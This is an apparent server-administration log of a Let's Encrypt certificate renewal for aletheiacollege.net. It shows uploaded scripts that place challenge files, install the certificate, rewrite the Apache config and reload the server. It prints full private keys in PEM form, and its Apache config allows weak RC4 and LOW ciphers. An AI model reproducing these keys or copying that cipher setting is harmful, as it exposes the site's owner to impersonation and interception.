OxuPn2Q9Va3wg8h9hqpSbbokozwLmGqmLQf7AJ2gFJ3lsTJPW/r6Yv291xQEexcX
On7d7z2+YjFyZguv3CA2fD2Jo0y0qboo5IJDudAP96zuvRQjdYu80nkoAA0ngwag
7FgLrx+CeYQZLntTzwWZz+AvZfPPWGqqaOa8dtLNTIo+VjjGrTo0M0Qk2Ixwmrv6
kRiC/T3CxMUdkQjOVw==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC6ocsqx8VVS7ZL
ows626krhSC+CJSM+IaR2xbGIkSL8KOq72wqzeEVBwaT+xCe2EAUrt1aXKrgT0vj
BnRcDBwrJHVAyx6EHn2fnoZ2Nd9XThiR1vtvdC5OAp/pg/mWxJN+RY/Jhr2duGac
dhLSIMbYwQGZSp6HdO/ITIG0+aC/7/p+mGXBaDtcrkWPctT64MpNCrrfn2a7qjF3
CNlwrNT3VJ2yO4xA0zvdzfZdR7d6r8Za2ShXzPdlssW5C8qtAOe1DZRIBhknw47p
IRAp54NUed5iiRp6jlzKdLs5E2NPH/vDBHxpTiMm4yZX+hDfjpiBZjeXOFQDfoJ/
g8+YmUErAgMBAAECggEBAKUA4rUiBi+RTsy0i/svtfOKMhaRU3UHTUKrJwlpxpzK
1okMQN/fQf7rRT+UG2+01YLzzzRS9ah3syo2zK2M72KdSyVL7+DzbDGxYEQnAR0Z
KNPX9FjnqQDDhUpZqlNH3Pco3SVZgU9udxohsiYhYGzGx3kV5e7wzgaSzaKJiTvn
lsQKZElC9p6fI1usS1NRYjclLdtvRVUmcChGFivwSVaP6uiBXC39bfYbNo+TV1WK
flLQhrJWHKe+tPvtFlpAELxenMVU6UFX3JUsinltvxHUXHtNIIyCmyQNIRq3qOg+
tCe/90PlNZeGggXHG58XP+cQ303e9ZBrh+a8oTspq2ECgYEA5uV30LGFhtQPFKdT
8QcTZpjp/YtvG32TOpsNGK0Lkn3ZMc6MIqJKYvOhEpvv/0oDMhNlGk/KbHrRh9Xe
KQAw3TxG0mM4Gkl0DW43HrH8MGm8yLCbnBrXEqefJmScNV0OeKwEd06+CUbn5o0V
lOSGoLL2lLWJ/4Vw2PseAFkfz0kCgYEAzuxRLB0HVSw/N/+wXm+LX+bQ9///wsnk
SlxAeMzcqUqZbqmDi6j426f1dvUtc2vTbv4SahyhbQ0P3Aey6PqkW600rW3JzfUq
W5gEHAQU42KvzV7SqHjixnGnbHK7OLn3ucI/2YpylLKtOb9GxkR8BWwDOHYUJVOJ
WBslDC0OKNMCgYEAkys3j0FXRnTrl9J/YmWMLBzTJ9Qz4WXM7dHeKxhBBAJK6cAo
+fpPR3rZ866I7kMSflx2WKr67uHpo5bhn2iLvLeqvHaZT8f5vIW/hEUV5RXASnqm
9Hz3EODeQ+5k0m6Zxrh9sD30Sp1zOjQ6yUhPtyXanTaI2uEG6IZGvRoReGECgYBo
hvQSRq+3lNxym1Uqv0o2rdCOFuHKMlaCQcvHuiUV17teLX9oA3mC7HuRFhVZovRx
syL2O3RINDr4uWLlUgfIz9w2Z6lzww8cqdQZmu46V1XbdrUPqdFU0YDzxZlR9I9x
ZPEAIXH0L7ZV34wPB/Vmf8O4t91BZcuRmFTEq9XlRQKBgBszFdfy+AFDkHMRu61c
lJgiRlETTfEBVrbM9idRB9Lj90U28URMewJb0RvRJxgDWlC1mUqpI1T0hCTHoCFG
AelOH+j7xYdQSIScqWFGdnxcPqMBxtu9YxZLl55ATT9uzvl5LCRQAACcSI3tG5TK
TsSiy3QaCcIV1CqitL54dokJ
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-10-21 06:00:34: Establishing a connection
2025-10-21 06:00:34: Establishing a connection
2025-10-21 06:00:34:
PUT: /tmp/pkp645561
#!/bin/bash
if [ -d "/var/www/aletheiacollege_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-21 06:00:39:
chmod 755 /tmp/pkp645561; /tmp/pkp645561; rm /tmp/pkp645561
2025-10-21 06:00:39:
1
2025-10-21 06:00:39: Establishing a connection
2025-10-21 06:00:39:
PUT: /tmp/pkp950714
#!/bin/bash
mkdir -p "/var/www/aletheiacollege_www/.well-known/acme-challenge/"
cd "/var/www/aletheiacollege_www/.well-known/acme-challenge/"
cat > 2V2ajmln48pHisb7QfMV69lYnV4Ugt95jLcURSa7Q8g <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
2V2ajmln48pHisb7QfMV69lYnV4Ugt95jLcURSa7Q8g.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 2V2ajmln48pHisb7QfMV69lYnV4Ugt95jLcURSa7Q8g
cat > 2YSPr8pJ4-788afKuY5AU89JiF1zCjPWR2I2Nil_1MY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
2YSPr8pJ4-788afKuY5AU89JiF1zCjPWR2I2Nil_1MY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 2YSPr8pJ4-788afKuY5AU89JiF1zCjPWR2I2Nil_1MY
2025-10-21 06:00:40:
chmod 755 /tmp/pkp950714; /tmp/pkp950714; rm /tmp/pkp950714
2025-10-21 06:00:40:
2025-10-21 06:00:48: Establishing a connection
2025-10-21 06:00:48:
PUT: /tmp/pkp657626
#!/bin/bash
mkdir -p "/var/www/aletheiacollege_www/.well-known/acme-challenge/"
cd "/var/www/aletheiacollege_www/.well-known/acme-challenge/"
rm 2V2ajmln48pHisb7QfMV69lYnV4Ugt95jLcURSa7Q8g
rm 2YSPr8pJ4-788afKuY5AU89JiF1zCjPWR2I2Nil_1MY
2025-10-21 06:00:48:
chmod 755 /tmp/pkp657626; /tmp/pkp657626; rm /tmp/pkp657626
2025-10-21 06:00:48:
2025-10-21 06:00:48: Establishing a connection
2025-10-21 06:00:48:
PUT: /tmp/pkp555662
#!/bin/bash
temp_file=$(mktemp)
TARGET=5eb375246e856b10900412efba9b1585.crt
cat > $temp_file <<'endmsg'
d9:6c:d2:cc:38:a4:f0:55:18:37:7c:d4:84:32:1f:4f
-----BEGIN CERTIFICATE-----
MIIFGzCCBAOgAwIBAgISBufpyEkbI+BGjTgkC04Do1GxMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDIxMDUwMjE3WhcNMjYwMTE5MDUwMjE2WjAeMRwwGgYDVQQD
ExNhbGV0aGVpYWNvbGxlZ2UubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA5Y5QmdzHNef7cF/QbC/4oZ60GPkr7E+S8T8Yzwbfwp82EcfnEonzTuZN
5cKnhFqvsISlNqtVno1w3W/t6/mnbII3vzpT9G/rbeYqz5Q2Ra1yN1gZXww2DEwB
BYOdc90DjaI0ahJxras+5gRPJVNPrumOxR7T7LtFARXTgLs74i6NHAAXb9s+tK9a
ed0dBXk7pC/UEp619WCIsYL+1XF3xNF7uG1itc4110q9pbR3gX/5ZZMHWk+LXnqy
7b+3oH4ztCPvPmmO+g2PIUCI6DrgNIzYGfc2Bb7PdGOs1c/YQrZHGI8RPQ5LPA8U
ETWc7NeouufCTaEI+TlpdRmaxbq5OQIDAQABo4ICPDCCAjgwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBQAd3HO+1JkUmUguh0bQ68S0U3XODAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMDcGA1UdEQQwMC6CE2FsZXRoZWlhY29sbGVn
ZS5uZXSCF3d3dy5hbGV0aGVpYWNvbGxlZ2UubmV0MBMGA1UdIAQMMAowCAYGZ4EM
AQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNTAu
Y3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAZBHEbKQS7KeJHKICLgC8q08o
B9QeNSer6v7VA8l9zfAAAAGaBVsYjAAABAMARzBFAiEAzq0Accyqy4ko0L4Kp7/i
1VdSKWqVqt8qL+h1vPb0LNQCIAUzrf66vd74pa8ruLtQgeAZmEodUavglDK+KR/B
VBcmAHYAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYAAAGaBVsYygAA
BAMARzBFAiEA3qYW8kEMF23vNaeFaHBb26NJbUK/WmQMQNKzNsQrLLwCIAl5hQ9B
s/y+QuTCnQlT19Bt+feCTFa3YxMTxudT0XHmMA0GCSqGSIb3DQEBCwUAA4IBAQCF
s1jnQv1ZbuXW4h6Yz14HIERccvE57wKFmJFAArJjDwOQjbGKOi2s2V330klKRX7D
GsUQA/ef7lC9cxfIYrVvCLeebCY4u01BFK4GVD1/Xe2sN7RfbwraLliem02t0+tw
t6geNcolpqXA1yvdSeS5tgofHCFodFv6pQVhD8LEfNNDFB01Y/1HQIcprXvspQl6
Tycxa+qk98U8ddkm2XSPaLeFyhis9QVryhyiwS9bIvtWbDfvskLbJxb+YMyKnDKy
3XbNMJkKeGIAI9/fdC/iJfMSzkLmEpnT/Eo2ViBhJsueiUbA+nIy2CXBnwqAGFGY
utZG8X75AMX5plPnd91v
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDljlCZ3Mc15/tw
X9BsL/ihnrQY+SvsT5LxPxjPBt/CnzYRx+cSifNO5k3lwqeEWq+whKU2q1WejXDd
b+3r+adsgje/OlP0b+tt5irPlDZFrXI3WBlfDDYMTAEFg51z3QONojRqEnGtqz7m
BE8lU0+u6Y7FHtPsu0UBFdOAuzviLo0cABdv2z60r1p53R0FeTukL9QSnrX1YIix
gv7VcXfE0Xu4bWK1zjXXSr2ltHeBf/llkwdaT4teerLtv7egfjO0I+8+aY76DY8h
QIjoOuA0jNgZ9zYFvs90Y6zVz9hCtkcYjxE9Dks8DxQRNZzs16i658JNoQj5OWl1
GZrFurk5AgMBAAECggEBAOKGrcMnuu3XHqil5Gbeb9wNYGvEdzOa0sZ+HV0uy2Ci
/BhPzBbfStpxKi2xCN3zH6xxORfZu4Paz6W07nQOyMirN5fdVzu/tfOdTmHJQEVC
A5PZvC+vPSalWdy3JIlRcFAz4MVLriJS+p7BYdjTfa59jAW5hif2JQINJ8nA+jcX
Gnb9yMEWWIbHIw6PG7/YJxr3vt51MQmkF2k2o5yTWna3Z+tJnQ4JgrHcd14H7uFZ
a27hIc3Puan8vqr7tF4P80lvifn74u+Wy58SZmm4rq7G0zNEiJQ8757ci7Fwyj3Z
X91uoTpaTcBzzYkULgI1My/8bm4ULlGv907JrTgzXoECgYEA8srYkMNNL8S3PSPy
3mV42bgvAa4p8f5tU7AzMNuEqnlKDsli4VmKWScHZ7MZyHrlSOD1kXryOgCFvMiW
mV8IkX2/EtvfNPcqBmdKSSTH1Qf2Awl/oqfKv8JGsm0izurP31RVTgIBxBmZitA6
NJUR2wWawQi7fajRzajR8QQ/O5sCgYEA8gsi94qcZbe6pAbNEdnwA7r8ihpGV8sJ
4Hat3p7ik788D/KEtXRu3RY8VRUwGme6LgPeYEeLZWfgBtXCxXwXMiK/u6qXqgVy
b9ACpBn381SojumctNYkLj1m6WE3YI+e2IoG2Lqfj0MiQjRO6xq0feK2p2skAbou
UXKX/NgG/bsCgYB8je2eDmNJrzxl5ExTJXFjGCcdUJD6MZE6jrkkRml/3ytL/Kp6
eyoLZIda/rmqbMm1opq4YH9lnCD/4VPJKMTHhuAAN8YBcQ8hK9ojPfg6ZJQjqLrO
4g+UYoFMRcrGphWwN55vn33ycUOgwAQsN5FqcCyc/PLam0HOpN3XLFuYIwKBgQCn
hImo5agkxipIx+Q6TKnPCyUpt9GjhYTKc5kWkMSkGSDKsMCkjXcFURRklot6WvwC
SO8pl5qkjmYAlQV+hMnRCzfD/OeG5sozFLYfOVHgeWFHt+ubRPI5hompUH1xOTVp
DO58JX21O3OEeot8MDlnPvfHm2GKSH8yI6uJdUIxbQKBgQCErELNFqOVsqsFuw0S
U2jttkyKmSNyOhhTqVALpdgUFbPRGiLBXPJRfMKQv5OPMQs9I4qkTDJI6HybYTAS
TbhCAzhHcal+P+idaSLF0hkYnUQG/9aW1+cpXNCtO2ODcuoWEH9whqS0SXvdpsFq
V6Ef5eI02ston7YdlHFXX0g6rw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-21 06:00:48:
chmod 755 /tmp/pkp555662; /tmp/pkp555662; rm /tmp/pkp555662
2025-10-21 06:00:48:
dir=/etc/ssl/certs
2025-10-21 06:00:48:
PUT: /tmp/pkp122920
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/aletheiacollege_www_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-21 06:00:48:
chmod 755 /tmp/pkp122920; /tmp/pkp122920; rm /tmp/pkp122920
2025-10-21 06:00:48:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/aletheiacollege_www_net.conf 47
<VirtualHost *:80>
ServerName aletheiacollege.net
ServerAlias www.aletheiacollege.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/aletheiacollege_www
<Directory /var/www/aletheiacollege_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/aletheiacollege/www_access.log combined
ErrorLog /var/log/apache2/aletheiacollege/www_error.log
SetEnv pkp_uid 62
SetEnv pkp_owner aletheia
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName aletheiacollege.net
ServerAlias www.aletheiacollege.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt
DocumentRoot /var/www/aletheiacollege_www
<Directory /var/www/aletheiacollege_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/aletheiacollege/www_secure_access.log combined
ErrorLog /var/log/apache2/aletheiacollege/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-21 06:00:48:
PUT: /tmp/pkp595097
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=aletheiacollege_www_net.conf
TARGET=/etc/apache2/sites-enabled/aletheiacollege_www_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName aletheiacollege.net
ServerAlias www.aletheiacollege.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/aletheiacollege_www
<Directory /var/www/aletheiacollege_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/aletheiacollege/www_access.log combined
ErrorLog /var/log/apache2/aletheiacollege/www_error.log
SetEnv pkp_uid 62
SetEnv pkp_owner aletheia
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName aletheiacollege.net
ServerAlias www.aletheiacollege.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt
DocumentRoot /var/www/aletheiacollege_www
<Directory /var/www/aletheiacollege_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/aletheiacollege/www_secure_access.log combined
ErrorLog /var/log/apache2/aletheiacollege/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/aletheiacollege_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/aletheiacollege_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/aletheiacollege_www_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/aletheiacollege_www_net.conf= 1'
fi
2025-10-21 06:00:48:
chmod 755 /tmp/pkp595097; /tmp/pkp595097; rm /tmp/pkp595097
2025-10-21 06:00:48:
2025-10-21 06:00:48:
PUT: /tmp/pkp589990
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-21 06:00:48:
chmod 755 /tmp/pkp589990; /tmp/pkp589990; rm /tmp/pkp589990
2025-10-21 06:00:48:
.
2025-10-21 06:00:48: Establishing a connection
2025-10-21 06:00:49:
PUT: /tmp/pkp442139
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-21 06:00:49:
chmod 755 /tmp/pkp442139; /tmp/pkp442139; rm /tmp/pkp442139
2025-10-21 06:00:49:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
alias www.aletheiacollege.net
port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
alias www.christadelphia.net
port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
alias www.gospelstudies.net
port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
alias www.heaster.org
port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
alias www.hristadelfiane.org
port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
alias www.osnovybiblii.info
port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
alias www.realdevil.info
*:443 is a NameVirtualHost
default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
alias www.aletheiacollege.net
port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
alias www.christadelphia.net
port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
alias www.gospelstudies.net
port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
alias www.heaster.org
port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
alias www.hristadelfiane.org
port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
alias www.osnovybiblii.info
port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-10-21 06:00:49:
PUT: /tmp/pkp562770
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/aletheiacollege_www_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-21 06:00:49:
chmod 755 /tmp/pkp562770; /tmp/pkp562770; rm /tmp/pkp562770
2025-10-21 06:00:49:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/aletheiacollege_www_net.conf 1448
<VirtualHost *:80>
ServerName aletheiacollege.net
ServerAlias www.aletheiacollege.net
ServerAdmin do_not_email@example.com
